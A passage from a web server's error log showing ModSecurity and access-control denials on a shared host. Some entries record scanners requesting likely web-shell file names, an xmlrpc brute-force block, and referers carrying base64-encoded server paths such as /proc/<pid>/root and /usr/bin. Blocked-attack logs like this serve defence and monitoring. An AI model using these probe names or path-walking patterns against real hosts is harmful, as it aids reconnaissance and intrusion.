531905] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:39.140002 2026] [access_compat:error] [pid 531797:tid 531905] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:39.194306 2026] [access_compat:error] [pid 531155:tid 531236] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDMvcG93ZXI= [Sat Jun 13 18:09:39.194783 2026] [access_compat:error] [pid 531155:tid 531236] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDMvcG93ZXI= [Sat Jun 13 18:09:39.240799 2026] [access_compat:error] [pid 531797:tid 531896] [remote 57.141.14.59:27405] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:39.241068 2026] [access_compat:error] [pid 531797:tid 531896] [remote 57.141.14.59:27405] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:39.406838 2026] [security2:error] [pid 531155:tid 531239] [remote 17.241.227.217:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xQymiP80klyS0NnrzcAABGlM"] [Sat Jun 13 18:09:39.535132 2026] [security2:error] [pid 531797:tid 532039] [client 191.234.188.123:63899] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/nic.php"] [unique_id "ai3xQ8TA7b1mZrmcA-8cXAAAAj4"] [Sat Jun 13 18:09:39.678969 2026] [access_compat:error] [pid 531797:tid 531919] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMDc3L3Jvb3Q= [Sat Jun 13 18:09:39.679392 2026] [access_compat:error] [pid 531797:tid 531919] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMDc3L3Jvb3Q= [Sat Jun 13 18:09:39.755946 2026] [access_compat:error] [pid 531155:tid 531225] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:09:39.756279 2026] [access_compat:error] [pid 531155:tid 531225] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:09:39.789716 2026] [access_compat:error] [pid 531155:tid 531192] [remote 57.141.14.13:29019] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:39.790134 2026] [access_compat:error] [pid 531155:tid 531192] [remote 57.141.14.13:29019] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:39.815456 2026] [security2:error] [pid 531797:tid 532065] [client 20.151.217.54:48072] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/7logs.php"] [unique_id "ai3xQ8TA7b1mZrmcA-8cZQAAAlc"] [Sat Jun 13 18:09:40.029351 2026] [access_compat:error] [pid 531797:tid 531882] [remote 57.141.14.31:44196] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:40.029629 2026] [access_compat:error] [pid 531797:tid 531882] [remote 57.141.14.31:44196] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:40.075157 2026] [security2:error] [pid 531155:tid 531395] [client 172.171.3.232:38078] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/cibai.php"] [unique_id "ai3xRCmiP80klyS0NnrzhQAAAXg"] [Sat Jun 13 18:09:40.138546 2026] [access_compat:error] [pid 531797:tid 531990] [remote 57.141.14.26:49058] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:40.138830 2026] [access_compat:error] [pid 531797:tid 531990] [remote 57.141.14.26:49058] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:40.151661 2026] [security2:error] [pid 531155:tid 531283] [remote 17.246.15.25:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 25.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xRCmiP80klyS0NnrzhgABc38"] [Sat Jun 13 18:09:40.160565 2026] [access_compat:error] [pid 531155:tid 531217] [remote 57.141.14.78:22122] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:40.160870 2026] [access_compat:error] [pid 531155:tid 531217] [remote 57.141.14.78:22122] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:40.268613 2026] [access_compat:error] [pid 531797:tid 531904] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS9tYW4vbWFuMQ== [Sat Jun 13 18:09:40.268894 2026] [access_compat:error] [pid 531797:tid 531904] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS9tYW4vbWFuMQ== [Sat Jun 13 18:09:40.330830 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:09:40.331261 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:09:40.369871 2026] [access_compat:error] [pid 531155:tid 531186] [remote 57.141.14.12:37584] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:40.370310 2026] [access_compat:error] [pid 531155:tid 531186] [remote 57.141.14.12:37584] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:40.520434 2026] [access_compat:error] [pid 531155:tid 531263] [remote 57.141.14.56:58738] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:40.520890 2026] [access_compat:error] [pid 531155:tid 531263] [remote 57.141.14.56:58738] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:40.535647 2026] [security2:error] [pid 531797:tid 532074] [client 191.234.188.123:47681] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/multirole.php"] [unique_id "ai3xRMTA7b1mZrmcA-8cfwAAAmA"] [Sat Jun 13 18:09:40.694819 2026] [security2:error] [pid 531797:tid 532006] [client 20.151.217.54:40213] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/Ov-Simple1.php"] [unique_id "ai3xRMTA7b1mZrmcA-8chAAAAh4"] [Sat Jun 13 18:09:40.737494 2026] [access_compat:error] [pid 531797:tid 531866] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly91c3IvbGliNjQ= [Sat Jun 13 18:09:40.737930 2026] [access_compat:error] [pid 531797:tid 531866] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly91c3IvbGliNjQ= [Sat Jun 13 18:09:40.839738 2026] [access_compat:error] [pid 531155:tid 531277] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkwL2N3ZA== [Sat Jun 13 18:09:40.840171 2026] [access_compat:error] [pid 531155:tid 531277] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkwL2N3ZA== [Sat Jun 13 18:09:40.901435 2026] [access_compat:error] [pid 531155:tid 531262] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvUE5QMEMwRjowMw== [Sat Jun 13 18:09:40.901887 2026] [access_compat:error] [pid 531155:tid 531262] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvUE5QMEMwRjowMw== [Sat Jun 13 18:09:41.257090 2026] [access_compat:error] [pid 531797:tid 531912] [remote 57.141.14.29:33359] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:41.257406 2026] [access_compat:error] [pid 531797:tid 531912] [remote 57.141.14.29:33359] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:41.287626 2026] [access_compat:error] [pid 531155:tid 531205] [remote 216.73.216.182:44946] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:41.287935 2026] [access_compat:error] [pid 531155:tid 531205] [remote 216.73.216.182:44946] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:41.333833 2026] [access_compat:error] [pid 531797:tid 531991] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly91c3IvbGliNjQ= [Sat Jun 13 18:09:41.334105 2026] [access_compat:error] [pid 531797:tid 531991] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly91c3IvbGliNjQ= [Sat Jun 13 18:09:41.436843 2026] [access_compat:error] [pid 531155:tid 531163] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:41.437280 2026] [access_compat:error] [pid 531155:tid 531163] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:41.557819 2026] [security2:error] [pid 531797:tid 532086] [client 191.233.234.186:44286] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/12.php"] [unique_id "ai3xRcTA7b1mZrmcA-8cpQAAAmw"] [Sat Jun 13 18:09:41.653985 2026] [security2:error] [pid 531797:tid 531943] [remote 156.67.82.86:56688] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.82.67.156.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.yod.ninja"] [uri "/xmlrpc.php"] [unique_id "ai3xRcTA7b1mZrmcA-8cqgACHE8"] [Sat Jun 13 18:09:41.654237 2026] [security2:error] [pid 531797:tid 532004] [client 156.67.82.86:56688] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "mail.yod.ninja"] [uri "/xmlrpc.php"] [unique_id "ai3xRcTA7b1mZrmcA-8cqgACHE8"] [Sat Jun 13 18:09:41.713011 2026] [access_compat:error] [pid 531797:tid 531870] [remote 57.141.14.80:35015] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:41.713445 2026] [access_compat:error] [pid 531797:tid 531870] [remote 57.141.14.80:35015] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:41.762048 2026] [access_compat:error] [pid 531797:tid 531931] [remote 57.141.14.105:48590] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:41.762490 2026] [access_compat:error] [pid 531797:tid 531931] [remote 57.141.14.105:48590] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:41.825586 2026] [access_compat:error] [pid 531797:tid 531906] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly91c3IvYmlu [Sat Jun 13 18:09:41.826032 2026] [access_compat:error] [pid 531797:tid 531906] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly91c3IvYmlu [Sat Jun 13 18:09:41.837107 2026] [access_compat:error] [pid 531797:tid 531875] [remote 57.141.14.88:58000] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:41.837542 2026] [access_compat:error] [pid 531797:tid 531875] [remote 57.141.14.88:58000] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:41.919628 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvZHJpdmVyL0xOWFBXUkJOOjAwL2RyaXZlcg== [Sat Jun 13 18:09:41.920077 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvZHJpdmVyL0xOWFBXUkJOOjAwL2RyaXZlcg== [Sat Jun 13 18:09:41.969455 2026] [security2:error] [pid 531797:tid 532104] [client 172.171.3.232:58712] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/leuk.php"] [unique_id "ai3xRcTA7b1mZrmcA-8cvAAAAn0"] [Sat Jun 13 18:09:42.113000 2026] [security2:error] [pid 531797:tid 532102] [client 20.151.217.54:40231] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/atomlib.php"] [unique_id "ai3xRsTA7b1mZrmcA-8cwwAAAns"] [Sat Jun 13 18:09:42.121437 2026] [security2:error] [pid 531155:tid 531241] [remote 17.246.19.181:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 181.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri 